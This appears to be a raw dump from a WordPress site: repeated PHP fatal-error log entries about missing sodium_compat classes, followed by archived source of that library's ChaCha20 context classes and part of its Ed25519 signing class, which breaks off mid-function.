Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[19-Sep-2025 06:48:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[19-Sep-2025 06:48:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[22-Sep-2025 12:59:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[22-Sep-2025 12:59:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[25-Sep-2025 22:01:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[25-Sep-2025 22:01:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[25-Sep-2025 22:13:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[25-Sep-2025 22:13:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[02-Oct-2025 10:42:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[02-Oct-2025 10:42:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[02-Oct-2025 10:50:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[02-Oct-2025 10:50:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[02-Nov-2025 08:31:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[02-Nov-2025 08:31:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[02-Nov-2025 08:41:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[02-Nov-2025 08:41:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[06-Dec-2025 18:49:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[06-Dec-2025 18:49:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[06-Dec-2025 18:59:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[06-Dec-2025 18:59:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[23-Dec-2025 11:46:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[23-Dec-2025 11:47:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[23-Dec-2025 12:03:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[23-Dec-2025 12:03:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[24-Dec-2025 15:02:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[24-Dec-2025 15:02:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[24-Dec-2025 15:24:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[24-Dec-2025 15:24:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[04-Jan-2026 10:11:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[04-Jan-2026 10:11:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[04-Jan-2026 10:20:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[04-Jan-2026 10:20:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[06-Jan-2026 01:23:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[06-Jan-2026 01:23:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[06-Jan-2026 01:35:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[06-Jan-2026 01:35:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[13-Jan-2026 06:30:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[13-Jan-2026 06:30:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[14-Jan-2026 00:01:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[14-Jan-2026 00:01:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[14-Jan-2026 00:18:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[14-Jan-2026 00:18:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[21-Feb-2026 02:57:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[21-Feb-2026 02:57:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
Core/ChaCha20/.htaccess000064400000000000152222652550010477 0ustar00Core/ChaCha20/IetfCtx.php000064400000002454152222652550010777 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_ChaCha20_IetfCtx', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_ChaCha20_IetfCtx
 */
class ParagonIE_Sodium_Core_ChaCha20_IetfCtx extends ParagonIE_Sodium_Core_ChaCha20_Ctx
{
    /**
     * ParagonIE_Sodium_Core_ChaCha20_IetfCtx constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key     ChaCha20 key.
     * @param string $iv      Initialization Vector (a.k.a. nonce).
     * @param string $counter The initial counter value.
     *                        Defaults to 4 0x00 bytes.
     * @throws InvalidArgumentException
     * @throws TypeError
     */
    public function __construct($key = '', $iv = '', $counter = '')
    {
        if (self::strlen($iv) !== 12) {
            throw new InvalidArgumentException('ChaCha20 expects a 96-bit nonce in IETF mode.');
        }
        $counter = $this->initCounter($counter);
        parent::__construct($key, self::substr($iv, 0, 8), $counter);
        $this->container[12] = self::load_4(self::substr($counter, 0, 4));
        $this->container[13] = self::load_4(self::substr($iv, 0, 4));
        $this->container[14] = self::load_4(self::substr($iv, 4, 4));
        $this->container[15] = self::load_4(self::substr($iv, 8, 4));
    }
}
Core/ChaCha20/Ctx.php000064400000010477152222652550010173 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_ChaCha20_Ctx', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_ChaCha20_Ctx
 */
class ParagonIE_Sodium_Core_ChaCha20_Ctx extends ParagonIE_Sodium_Core_Util implements ArrayAccess
{
    /**
     * @var SplFixedArray internally, <int, int>
     */
    protected $container;

    /**
     * ParagonIE_Sodium_Core_ChaCha20_Ctx constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key     ChaCha20 key.
     * @param string $iv      Initialization Vector (a.k.a. nonce).
     * @param string $counter The initial counter value.
     *                        Defaults to 8 0x00 bytes.
     * @throws InvalidArgumentException
     * @throws TypeError
     */
    public function __construct($key = '', $iv = '', $counter = '')
    {
        if (self::strlen($key) !== 32) {
            throw new InvalidArgumentException('ChaCha20 expects a 256-bit key.');
        }
        if (self::strlen($iv) !== 8) {
            throw new InvalidArgumentException('ChaCha20 expects a 64-bit nonce.');
        }
        $this->container = new SplFixedArray(16);

        /* "expand 32-byte k" as per ChaCha20 spec */
        $this->container[0]  = 0x61707865;
        $this->container[1]  = 0x3320646e;
        $this->container[2]  = 0x79622d32;
        $this->container[3]  = 0x6b206574;
        $this->container[4]  = self::load_4(self::substr($key, 0, 4));
        $this->container[5]  = self::load_4(self::substr($key, 4, 4));
        $this->container[6]  = self::load_4(self::substr($key, 8, 4));
        $this->container[7]  = self::load_4(self::substr($key, 12, 4));
        $this->container[8]  = self::load_4(self::substr($key, 16, 4));
        $this->container[9]  = self::load_4(self::substr($key, 20, 4));
        $this->container[10] = self::load_4(self::substr($key, 24, 4));
        $this->container[11] = self::load_4(self::substr($key, 28, 4));

        $counter = $this->initCounter($counter);
        $this->container[12] = self::load_4(self::substr($counter, 0, 4));
        $this->container[13] = self::load_4(self::substr($counter, 4, 4));
        $this->container[14] = self::load_4(self::substr($iv, 0, 4));
        $this->container[15] = self::load_4(self::substr($iv, 4, 4));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @param int $value
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetSet($offset, $value)
    {
        if (!is_int($offset)) {
            throw new InvalidArgumentException('Expected an integer');
        }
        if (!is_int($value)) {
            throw new InvalidArgumentException('Expected an integer');
        }
        $this->container[$offset] = $value;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return bool
     */
    #[ReturnTypeWillChange]
    public function offsetExists($offset)
    {
        return isset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetUnset($offset)
    {
        unset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return mixed|null
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetGet($offset)
    {
        return isset($this->container[$offset])
            ? $this->container[$offset]
            : null;
    }

    /**
     * Initialize (pad) a counter value.
     * @throws SodiumException
     *
     * @param string $ctr
     * @return string
     */
    public function initCounter(
        #[SensitiveParameter]
        $ctr
    ) {
        $len = self::strlen($ctr);
        if ($len === 0) {
            return str_repeat("\0", 8);
        }
        if ($len < 8) {
            return $ctr . str_repeat("\0", 8 - $len);
        }
        if ($len > 8) {
            throw new SodiumException("counter cannot be more than 8 bytes");
        }
        return $ctr;
    }
}
Core/Ed25519.php000064400000044062152222652550007117 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_Ed25519', false)) {
    return;
}
if (!class_exists('ParagonIE_Sodium_Core_Curve25519', false)) {
    require_once dirname(__FILE__) . '/Curve25519.php';
}

/**
 * Class ParagonIE_Sodium_Core_Ed25519
 */
abstract class ParagonIE_Sodium_Core_Ed25519 extends ParagonIE_Sodium_Core_Curve25519
{
    const KEYPAIR_BYTES = 96;
    const SEED_BYTES = 32;
    const SCALAR_BYTES = 32;

    /**
     * @internal You should not use this directly from another application
     *
     * @return string (96 bytes)
     * @throws Exception
     * @throws SodiumException
     * @throws TypeError
     */
    public static function keypair()
    {
        $seed = random_bytes(self::SEED_BYTES);
        $pk = '';
        $sk = '';
        self::seed_keypair($pk, $sk, $seed);
        return $sk . $pk;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $pk
     * @param string $sk
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function seed_keypair(&$pk, &$sk, $seed)
    {
        if (self::strlen($seed) !== self::SEED_BYTES) {
            throw new SodiumException('crypto_sign keypair seed must be 32 bytes long');
        }

        /** @var string $pk */
        $pk = self::publickey_from_secretkey($seed);
        $sk = $seed . $pk;
        return $sk;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $keypair
     * @return string
     * @throws TypeError
     */
    public static function secretkey($keypair)
    {
        if (self::strlen($keypair) !== self::KEYPAIR_BYTES) {
            throw new SodiumException('crypto_sign keypair must be 96 bytes long');
        }
        return self::substr($keypair, 0, 64);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $keypair
     * @return string
     * @throws TypeError
     */
    public static function publickey($keypair)
    {
        if (self::strlen($keypair) !== self::KEYPAIR_BYTES) {
            throw new SodiumException('crypto_sign keypair must be 96 bytes long');
        }
        return self::substr($keypair, 64, 32);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function publickey_from_secretkey($sk)
    {
        /** @var string $sk */
        $sk = hash('sha512', self::substr($sk, 0, 32), true);
        $sk[0] = self::intToChr(
            self::chrToInt($sk[0]) & 248
        );
        $sk[31] = self::intToChr(
            (self::chrToInt($sk[31]) & 63) | 64
        );
        return self::sk_to_pk($sk);
    }

    /**
     * Returns TRUE if $A represents a point on the order of the Edwards25519 prime order subgroup.
     * Returns FALSE if $A is on a different subgroup.
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A
     * @return bool
     *
     * @throws SodiumException
     */
    public static function is_on_main_subgroup(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A)
    {
        $p1 = self::ge_mul_l($A);
        $t = self::fe_sub($p1->Y, $p1->Z);
        return self::fe_isnonzero($p1->X) && self::fe_isnonzero($t);
    }

    /**
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function pk_to_curve25519($pk)
    {
        if (self::small_order($pk)) {
            throw new SodiumException('Public key is on a small order');
        }
        $A = self::ge_frombytes_negate_vartime(self::substr($pk, 0, 32));
        if (!self::is_on_main_subgroup($A)) {
            throw new SodiumException('Public key is not on a member of the main subgroup');
        }

        # fe_1(one_minus_y);
        # fe_sub(one_minus_y, one_minus_y, A.Y);
        # fe_invert(one_minus_y, one_minus_y);
        $one_minux_y = self::fe_invert(
            self::fe_sub(
                self::fe_1(),
                $A->Y
            )
        );

        # fe_1(x);
        # fe_add(x, x, A.Y);
        # fe_mul(x, x, one_minus_y);
        $x = self::fe_mul(
            self::fe_add(self::fe_1(), $A->Y),
            $one_minux_y
        );

        # fe_tobytes(curve25519_pk, x);
        return self::fe_tobytes($x);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sk_to_pk($sk)
    {
        return self::ge_p3_tobytes(
            self::ge_scalarmult_base(
                self::substr($sk, 0, 32)
            )
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign($message, $sk)
    {
        /** @var string $signature */
        $signature = self::sign_detached($message, $sk);
        return $signature . $message;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message A signed message
     * @param string $pk      Public key
     * @return string         Message (without signature)
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_open($message, $pk)
    {
        /** @var string $signature */
        $signature = self::substr($message, 0, 64);

        /** @var string $message */
        $message = self::substr($message, 64);

        if (self::verify_detached($signature, $message, $pk)) {
            return $message;
        }
        throw new SodiumException('Invalid signature');
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_detached($message, $sk)
    {
        if (self::strlen($sk) !== 64) {
            throw new SodiumException('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES long');
        }
        # crypto_hash_sha512(az, sk, 32);
        $az =  hash('sha512', self::substr($sk, 0, 32), true);

        # az[0] &= 248;
        # az[31] &= 63;
        # az[31] |= 64;
        $az[0] = self::intToChr(self::chrToInt($az[0]) & 248);
        $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64);

        # crypto_hash_sha512_init(&hs);
        # crypto_hash_sha512_update(&hs, az + 32, 32);
        # crypto_hash_sha512_update(&hs, m, mlen);
        # crypto_hash_sha512_final(&hs, nonce);
        $hs = hash_init('sha512');
        hash_update($hs, self::substr($az, 32, 32));
        hash_update($hs, $message);
        $nonceHash = hash_final($hs, true);

        # memmove(sig + 32, sk + 32, 32);
        $pk = self::substr($sk, 32, 32);

        # sc_reduce(nonce);
        # ge_scalarmult_base(&R, nonce);
        # ge_p3_tobytes(sig, &R);
        $nonce = self::sc_reduce($nonceHash) . self::substr($nonceHash, 32);
        $sig = self::ge_p3_tobytes(
            self::ge_scalarmult_base($nonce)
        );

        # crypto_hash_sha512_init(&hs);
        # crypto_hash_sha512_update(&hs, sig, 64);
        # crypto_hash_sha512_update(&hs, m, mlen);
        # crypto_hash_sha512_final(&hs, hram);
        $hs = hash_init('sha512');
        hash_update($hs, self::substr($sig, 0, 32));
        hash_update($hs, self::substr($pk, 0, 32));
        hash_update($hs, $message);
        $hramHash = hash_final($hs, true);

        # sc_reduce(hram);
        # sc_muladd(sig + 32, hram, az, nonce);
        $hram = self::sc_reduce($hramHash);
        $sigAfter = self::sc_muladd($hram, $az, $nonce);
        $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);

        try {
            ParagonIE_Sodium_Compat::memzero($az);
        } catch (SodiumException $ex) {
            $az = null;
        }
        return $sig;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sig
     * @param string $message
     * @param string $pk
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function verify_detached($sig, $message, $pk)
    {
        if (self::strlen($sig) !== 64) {
            throw new SodiumException('Argument 1 must be CRYPTO_SIGN_BYTES long');
        }
        if (self::strlen($pk) !== 32) {
            throw new SodiumException('Argument 3 must be CRYPTO_SIGN_PUBLICKEYBYTES long');
        }
        if ((self::chrToInt($sig[63]) & 240) && self::check_S_lt_L(self::substr($sig, 32, 32))) {
            throw new SodiumException('S >= L - Invalid signature');
        }
        if (self::small_order($sig)) {
            throw new SodiumException('Signature is on too small of an order');
        }
        if ((self::chrToInt($sig[63]) & 224) !== 0) {
            throw new SodiumException('Invalid signature');
        }
        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= self::chrToInt($pk[$i]);
        }
        if ($d === 0) {
            throw new SodiumException('All zero public key');
        }

        /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */
        $orig = ParagonIE_Sodium_Compat::$fastMult;

        // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification.
        ParagonIE_Sodium_Compat::$fastMult = true;

        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A */
        $A = self::ge_frombytes_negate_vartime($pk);
        if (!self::is_on_main_subgroup($A)) {
            throw new SodiumException('Public key is not on a member of the main subgroup');
        }

        /** @var string $hDigest */
        $hDigest = hash(
            'sha512',
            self::substr($sig, 0, 32) .
                self::substr($pk, 0, 32) .
                $message,
            true
        );

        /** @var string $h */
        $h = self::sc_reduce($hDigest) . self::substr($hDigest, 32);

        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P2 $R */
        $R = self::ge_double_scalarmult_vartime(
            $h,
